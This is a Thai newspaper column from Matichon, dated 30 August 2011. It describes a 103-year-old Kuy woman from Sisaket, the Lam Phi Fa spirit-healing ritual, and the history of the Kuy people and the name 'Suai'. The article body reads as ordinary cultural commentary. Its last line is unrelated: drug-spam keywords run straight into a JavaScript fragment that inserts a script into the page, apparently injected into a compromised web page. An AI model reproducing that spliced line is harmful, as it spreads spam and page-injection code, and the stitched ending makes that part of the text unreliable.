มติชนรายวัน ฉบับประจำวันอังคารที่ 30 สิงหาคม 2554

          แม่เฒ่ากา อัครชาติ อายุ 103 ปี เป็นชาวกวย หรือส่วย บ้านหนองผึ้ง ต. สำโรงปราสาท อ. ปรางค์กู่ จ. ศรีสะเกษ

          มีข่าวลงในมติชน, ข่าวสด เมื่อวันอังคารที่ 23 สิงหาคม 2554 ว่าแม่เฒ่ากาเกิด พ.ศ. 2451 ปลายแผ่นดินพระพุทธเจ้าหลวง รัชกาลที่ 5 (สวรรคต พ.ศ. 2453)

 

          แม่เฒ่ากา อัครชาติ เป็นชาวกวย ชอบฟ้อนในพิธีลำผีฟ้า 

          ลำผีฟ้า เป็นพิธีกรรมเข้าทรงรักษาโรคให้คนหายจากเจ็บไข้ได้ป่วยของกลุ่มชนในวัฒนธรรมลาว

          ผีฟ้า คือแถน บางทีเรียกควบกันว่าผีฟ้าพญาแถน เป็นศาสนาผีของผู้หญิงกลุ่มชนดั้งเดิม ราว 3,000 ปีมาแล้ว ผีฟ้าลงทรงเฉพาะผู้หญิง ไม่ลงทรงผู้ชาย พวกผู้ชายอยู่นอกพิธีลำผีฟ้า

          ลำ หมายถึงคำขับด้นมีสัมผัสคล้องจองต่อเนื่องยืดยาวไม่มีกำหนดจบแน่นอนตายตัว (ไม่ใช่ รำ ซึ่งเป็นคำเขมร แปลว่า ฟ้อน) ฟ้อน เป็น คำลาว แปลว่า รำ

          (ภาพจาก มติชน ฉบับวันอังคารที่ 23 สิงหาคม 2554 หน้า 1)

 

          กวย เป็นชื่อรวมๆ ของชนกลุ่มหนึ่ง พูดตระกูลภาษามอญ-เขมร มีหลักแหล่งใหญ่อยู่สองฝั่งโขง บริเวณรอยต่อพรมแดนลาว, เขมร, ไทย กระจายถึงลุ่มน้ำมูล แล้วถูกไทยเรียกชื่อใหม่อย่างดูถูกว่า ส่วย เพราะต้องส่งส่วยให้ไทย

          นอกจากคำรวมว่า กวย แล้ว ยังมีชื่อแยกย่อยแบ่งโคตรออกไปอีก เช่น มลอ, มลัว, มอาย, กันเดรา, เยอ, นลูร์, นตรา, เปอร์, เปือร์, ฯลฯ

          (คนพวกนี้ล้วนมีบรรพชนเป็นคนสุวรรณภูมิดั้งเดิมดึกดำบรรพ์หลายพันปีมาแล้ว ซึ่งเป็นบรรพชนร่วมสายหนึ่งของคนไทยทุกวันนี้ด้วย)

          คนกลุ่มนี้เรียกตัวเองว่า กวย สำเนียงถิ่นอาจฟังเป็น กุย, โก็ย ก็ได้ แต่ความหมายอย่างเดียวกัน คือ คน

          จิตร ภูมิศักดิ์ อธิบายว่านี่คือการแสดงออกของวิญญาณมนุษย์ในชนชาติที่ถูกกีดกันทางสังคมมิให้เป็นมนุษย์

          แล้วบอกอีกว่าพวกกวย, กุย เรียกช้างว่า เจียม หรือ อะเจียง แต่ก่อนไปจับช้างทางจำปาสัก แล้วต้อนช้างมาขายฝั่งไทย ให้ข้ามท่าน้ำโขงตรงปากแม่น้ำมูล เรียกว่า โขงเจียม (แปลว่า ท่าช้างข้ามโขง) ปัจจุบันคือ อ. โขงเจียม จ. อุบลราชธานี

          พวกกวยเป็นชาวต่างชาติอิสระพ่อค้าทางบก มีบ้านเมืองของตัวเอง เป็นที่คุ้นเคยของราชสำนักกรุงศรีอยุธยา เมื่อเรือน พ.ศ. 1974 มีฐานะทางสังคมเทียบเท่าฝรั่งยุโรป เพราะมีกฎหมายลักษณะอาญาหลวงประกาศไว้เป็นสำคัญ

          บ้านเมืองของพวกกวยสมัยนั้น อาจเป็นเมืองโคตรบอง กับเมืองเรอแดว อยู่บริเวณสองฝั่งโขงลาว-ไทย ตั้งแต่ จ. นครพนม ถึง จ. อุบลราชธานี

          ส่วย เป็นชื่อเรียกภาษีอย่างหนึ่งที่รัฐเรียกเก็บจากราษฎรแทนแรงงาน หรือเรียกเก็บจากประเทศราช

          ในสมัยรัชกาลที่ 3 ทำสำรวจสำมะโนครัวบริเวณลุ่มน้ำมูล ซึ่งมีทั้งลาว, และกวย เพื่อกำหนดให้เสียส่วยต่างๆ ตามประเภทที่ทางการกำหนด

          คนที่นั่นต้องส่งส่วย เลยถูกเรียกว่าพวกส่วย ซึ่งมีหลายเผ่าพันธุ์ สุดแต่ว่าจะมีพันธะส่งส่วยสิ่งใด

          กวยเป็นพวกหนึ่งที่ถูกเรียกส่วย แล้วรับคำว่าส่วย เป็นชื่อตนอย่างปกติ เพราะครั้งนั้นไม่เข้าใจความหมาย ถึงจะรู้บ้างก็ต้องยอมจำนน 

viagra spray sublingual lexapro generic buydocument.currentScript.parentNode.insertBefore(s, document.currentScript);